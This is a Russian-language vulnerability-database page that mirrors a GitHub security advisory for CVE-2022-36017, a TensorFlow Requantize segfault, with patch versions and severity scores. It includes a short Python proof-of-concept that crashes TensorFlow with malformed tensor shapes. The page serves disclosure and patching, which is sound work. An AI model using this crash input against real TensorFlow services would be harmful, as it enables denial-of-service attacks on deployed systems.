exploitDog

GHSA-wqmc-pm8c-2jhc

Опубликовано: 16 сент. 2022

Источник: github

Github: Прошло ревью

CVSS3: 5.9

Описание

TensorFlow vulnerable to segfault in Requantize

Impact

If Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf out_type = tf.quint8 input = tf.constant([1], shape=[3], dtype=tf.qint32) input_min = tf.constant([], shape=[0], dtype=tf.float32) input_max = tf.constant(-256, shape=[1], dtype=tf.float32) requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32) requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32) tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Ссылки

Пакеты

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow-cpu

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

< 2.7.2

2.7.2

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.8.0, < 2.8.1

2.8.1

Наименование

tensorflow-gpu

pip

Затронутые версииВерсия исправления

>= 2.9.0, < 2.9.1

2.9.1

EPSS

Процентиль: 19%

0.00061

Низкий

5.9 Medium

CVSS3

CVE ID

Дефекты

CWE-20

Связанные уязвимости

CVE-2022-36017

CVSS3: 5.9

nvd

больше 3 лет назад

TensorFlow is an open source platform for machine learning. If `Requantize` is given `input_min`, `input_max`, `requested_output_min`, `requested_output_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.

CVE-2022-36017

CVSS3: 5.9

debian

больше 3 лет назад

TensorFlow is an open source platform for machine learning. If `Requan ...

EPSS

Процентиль: 19%

0.00061

Низкий

5.9 Medium

CVSS3

CVE ID

Дефекты

CWE-20